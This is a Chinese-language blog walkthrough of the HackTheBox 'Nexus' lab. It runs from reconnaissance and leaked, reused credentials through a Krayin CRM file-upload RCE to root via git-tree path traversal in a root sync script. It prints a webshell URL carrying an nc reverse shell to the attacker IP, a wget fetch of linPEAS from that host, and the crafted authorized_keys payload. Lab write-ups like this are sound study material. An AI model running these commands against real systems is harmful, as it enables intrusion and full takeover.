HackTheBox 渗透靶场-Nexus

HackTheBox 渗透靶场-Nexus

FootHold

先上 fscan 扫,自从发现 fscan 的简单强大之后就习惯 fscan 起手,如果没什么进展或者需要比较全面的扫描才考虑上 nmap

./fscan -h 10.129.97.203 --nobr

有一个 http url,做一下映射。22 端口开放,后续要关注 ssh

___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
10.129.97.203:80 open
10.129.97.203:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.129.97.203      code:302 len:154    title:302 Found 跳转url: http://nexus.htb/
已完成 2/2
[*] 扫描结束,耗时: 3.76102087s

看起来是个非开源框架,可以再扫描一次。顺便在网页上收集一些信息

这里有两个邮箱信息。二次扫描没发现已知漏洞,尝试枚举目录和子域名

dirsearch -u http://nexus.htb
gobuster vhost -u http://10.129.97.203/ --domain nexus.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt --append-domain

目录扫描没有结果,子域名发现一个登陆页面和 git

把扫到的子域名追加到 hosts 就可以访问了

git 页面上可以发现一个仓库 admin/krayin-docker-setup,其中泄露了很多信息

其中比较关键的是 DB 相关信息,同时还有一些邮件服务,如果后续需要再来看

DB_HOST=krayin-mysql
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=

但是这里发现没有密码,寻找之后发现在旧提交里

DB_PASSWORD=N27xh!!2ucY04

拿到一组账密信息,先考虑密码复用,这里已知的登录面有 billing 这个子域名和 22 端口,一个个看

首先是 billing.nexus.htb,需要邮箱登录,使用之前看到的邮箱登录成功

j.matthew@nexus.htb
N27xh!!2ucY04

进入后是一个 Krayin CRM 的 dashboard,查询发现是一个开源框架

源码拿到版本

searchsploit 找到已知 rce 漏洞

这里给的脚本是一个文件上传,直接上马,然后反弹 shell

searchsploit -m 52629

python 52629.py -t http://billing.nexus.htb -u 'j.matthew@nexus.htb' -p 'N27xh!!2ucY04' -f shell/shell.php

http://billing.nexus.htb/storage/tinymce/f1a6c65c3fd522b205de7ebdd9beb92b.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.17.22%209988%20%3E%2Ftmp%2Ff

有 python3,挂 full tty shell

User Token

然后上 linpeas 做枚举

wget http://10.10.17.22:9987/PEAS/linPEAS_zh.sh
chmod +x linPEAS_zh.sh
./linPEAS_zh.sh

发现可登录的用户 jones 和一个新的环境变量中的密码

尝试 ssh 登录,这里已知了两个密码都有可能,当然最新的这个可能性最大

ssh jones@10.129.97.203
y27xb3ha!!74GbR

成功登录,拿到 user token

Root Token

拿新的身份跑 linPEAS,看看有没有新的信息辅助提权

这里常规的提权点都没有发现可用信息,因此需要考虑服务。最常见的是进程,但是查看了一下也没有可疑的点,索性将结果给 ai 分析一下

发现有一个可疑的 systemd timer

查询相关信息

systemctl cat gitea-template-sync.timer 
systemctl cat gitea-template-sync.service 
# 看文件来源 
ls -l /etc/systemd/system/gitea-template-sync.* 
ls -l /usr/lib/systemd/system/gitea-template-sync.*

这个定时任务的作用是每分钟同步 gitea 服务的模板,调用的是 /etc/gitea/template-sync.py,且 User=root

import os
import sys
import json
import subprocess
import time
import urllib.request

GITEA_URL = "http://localhost:3000"
REPO_ROOT = "/var/lib/gitea/data/gitea-repositories"
STAGING_DIR = "/home/git/template-staging"
LOG_FILE = "/var/log/template-sync.log"

def log(msg):
    ts = time.strftime("%Y-%m-%d %H:%M:%S")
    line = "[%s] %s" % (ts, msg)
    print(line, flush=True)
    try:
        os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
        with open(LOG_FILE, 'a') as f:
            f.write(line + '\n')
    except:
        pass

def load_config():
    config = {}
    for path in ['/etc/gitea/template-sync.conf', '/opt/forge/app/.env']:
        try:
            with open(path) as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith('#') and '=' in line:
                        k, v = line.split('=', 1)
                        config[k.strip()] = v.strip()
        except:
            pass
    return config

def get_token():
    cfg = load_config()
    return cfg.get('GITEA_API_TOKEN')

def get_template_repos(token):
    url = "%s/api/v1/repos/search?limit=50" % GITEA_URL
    req = urllib.request.Request(url, headers={
        'Authorization': 'token %s' % token
    })
    try:
        with urllib.request.urlopen(req) as resp:
            data = json.loads(resp.read())
            repos = data.get('data', data) if isinstance(data, dict) else data
            return [r for r in repos if r.get('template', False)]
    except Exception as e:
        log("API error: %s" % e)
        return []

def sync_template(repo_info):
    owner = repo_info['owner']['login']
    name = repo_info['name'].lower()
    bare_path = os.path.join(REPO_ROOT, owner, "%s.git" % name)
    stage_path = os.path.join(STAGING_DIR, owner, name)

    if not os.path.isdir(bare_path):
        log("  repo not found: %s" % bare_path)
        return

    # Read tree entries from the bare repository
    try:
        GIT = ['git', '-c', 'safe.directory=*']
        result = subprocess.run(
            GIT + ['ls-tree', '-r', 'HEAD'],
            cwd=bare_path,
            capture_output=True, text=True, timeout=10
        )
        if result.returncode != 0:
            log("  ls-tree failed: %s" % result.stderr.strip())
            return
    except Exception as e:
        log("  ls-tree error: %s" % e)
        return

    entries = []
    for line in result.stdout.strip().split('\n'):
        if not line:
            continue
        parts = line.split('\t', 1)
        if len(parts) != 2:
            continue
        meta, filepath = parts
        mode, objtype, objhash = meta.split()
        if objtype == 'blob':
            entries.append((mode, objhash, filepath))

    if not entries:
        log("  no files in template")
        return

    # Extract files to staging directory
    for mode, objhash, filepath in entries:
        target = os.path.join(stage_path, filepath)
        target_dir = os.path.dirname(target)

        try:
            os.makedirs(target_dir, exist_ok=True)
            GIT = ['git', '-c', 'safe.directory=*']
            cat_result = subprocess.run(
                GIT + ['cat-file', 'blob', objhash],
                cwd=bare_path,
                capture_output=True, timeout=10
            )
            if cat_result.returncode != 0:
                continue

            with open(target, 'wb') as f:
                f.write(cat_result.stdout)

            if mode == '100755':
                os.chmod(target, 0o755)
            else:
                os.chmod(target, 0o644)

            log("  synced: %s" % filepath)
        except Exception as e:
            log("  error syncing %s: %s" % (filepath, e))

def main():
    log("Template sync starting")

    token = get_token()
    if not token:
        log("No API token found")
        sys.exit(1)

    templates = get_template_repos(token)
    log("Found %d template repo(s)" % len(templates))

    for repo in templates:
        name = repo['full_name']
        log("Syncing template: %s" % name)
        sync_template(repo)

    log("Template sync complete")

if __name__ == '__main__':
    main()

文件是不可写的,大致看一下逻辑是将 Gitea 上的仓库同步到本地的 /home/git/template‑staging

如果能够拿到 gitea 的权限,就可以通过同步写入任意文件,并且这里的路径没有做校验,可能可以穿越

先尝试登录 gitea,使用之前找到的邮箱和第二次找到的密码登录成功

j.matthew@nexus.htb
y27xb3ha!!74GbR

然后新建一个仓库,有个设置为模板仓库的选项不知道有没有影响,先选上

由于 gitea 会过滤非法文件名,我们需要在本地创建文件再上传

先初始化仓库,一般 gitea 是在 3000 端口,也可以确认一下

git config --global user.email "j.matthew@nexus.htb"
git config --global user.name "jones"
touch README.md
git init
git checkout -b main
git add README.md
git commit -m "first commit"
git remote add origin http://localhost:3000/jones/evil-tmp.git
git push -u origin main

检查仓库没问题,就开始构建测试文件。这里是问 ai 来操作的

BLOB=$(echo "pwned" | git hash-object -w --stdin)
TREE_TMP=$(printf "100644 blob %s\t%s\n" "$BLOB" "test-pwn.txt" | git mktree)
TREE_D1=$(printf "040000 tree %s\t%s\n" "$TREE_TMP" "tmp" | git mktree)
TREE_D2=$(printf "040000 tree %s\t%s\n" "$TREE_D1" ".." | git mktree)
TREE_D3=$(printf "040000 tree %s\t%s\n" "$TREE_D2" ".." | git mktree)
TREE_D4=$(printf "040000 tree %s\t%s\n" "$TREE_D3" ".." | git mktree) 
TREE_ROOT=$(printf "040000 tree %s\t%s\n" "$TREE_D4" ".." | git mktree)
COMMIT=$(echo "evil template payload" | git commit-tree $TREE_ROOT) 
git update-ref refs/heads/main $COMMIT
git push -u -f origin main

我们可以通过 log 来查看是否同步

cat /var/log/template-sync.log

没问题之后我们就可以利用了,这里有两个思路:定时任务或者 ssh key

我这里使用 ssh key

ssh-keygen -t ed25519 -f /tmp/evil-key -N "" -C "attacker"
PUB_KEY=$(cat /tmp/evil-key.pub)
BLOB=$(echo "$PUB_KEY" | git hash-object -w --stdin)
TREE_SSH=$(printf "100644 blob %s\t%s\n" "$BLOB" "authorized_keys" | git mktree)
TREE_ROOT_DIR=$(printf "040000 tree %s\t%s\n" "$TREE_SSH" ".ssh" | git mktree)
TREE_D5=$(printf "040000 tree %s\t%s\n" "$TREE_ROOT_DIR" "root" | git mktree)
TREE_D4=$(printf "040000 tree %s\t%s\n" "$TREE_D5" ".." | git mktree)
TREE_D3=$(printf "040000 tree %s\t%s\n" "$TREE_D4" ".." | git mktree)
TREE_D2=$(printf "040000 tree %s\t%s\n" "$TREE_D3" ".." | git mktree)
TREE_D1=$(printf "040000 tree %s\t%s\n" "$TREE_D2" ".." | git mktree)
TREE_ROOT=$(printf "040000 tree %s\t%s\n" "$TREE_D1" ".." | git mktree)
COMMIT=$(echo "evil ssh payload" | git commit-tree $TREE_ROOT) 
git update-ref refs/heads/main $COMMIT 
git checkout main
git push -f origin main

同步后登录 root

ssh -i /tmp/evil-key root@localhost

拿到 root token

posted @ 2026-08-25 14:09  xNftrOne  阅读(9)  评论(0)    收藏  举报